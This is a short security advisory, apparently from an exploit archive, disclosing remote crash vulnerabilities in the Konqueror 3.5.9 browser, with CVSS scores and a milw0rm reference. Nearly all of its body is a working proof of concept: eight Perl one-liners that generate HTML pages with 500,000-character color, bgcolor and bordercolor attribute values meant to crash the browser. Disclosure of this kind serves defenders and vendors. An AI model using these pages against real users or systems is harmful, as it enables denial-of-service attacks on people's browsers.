Konqueror 3.5.9 (color/bgcolor) Multiple Remote Crash Vulnerabilities

2008.12.26
Credit: Jeremy Brown
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

KDE's Konqueror & Color Attribute Love perl -e 'print "<html>\n" . "<font color=" . "A" x 500000 . ">\n</html>"' > kdie.html perl -e 'print "<html>\n" . "<hr color=" . "A" x 500000 . ">\n</html>"' > kdie2.html perl -e 'print "<html>\n" . "<table bgcolor=" . "A" x 500000 . ">\n</html>"' > kdie3.html perl -e 'print "<html>\n" . "<table bordercolor=" . "A" x 500000 . ">\n</html>"' > kdie4.html perl -e 'print "<html>\n" . "<td bgcolor=" . "A" x 500000 . ">\n</html>"' > kdie5.html perl -e 'print "<html>\n" . "<td bordercolor=" . "A" x 500000 . ">\n</html>"' > kdie6.html perl -e 'print "<html>\n" . "<tr bgcolor=" . "A" x 500000 . ">\n</html>"' > kdie7.html perl -e 'print "<html>\n" . "<tr bordercolor=" . "A" x 500000 . ">\n</html>"' > kdie8.html

References:

http://www.milw0rm.com/exploits/6704


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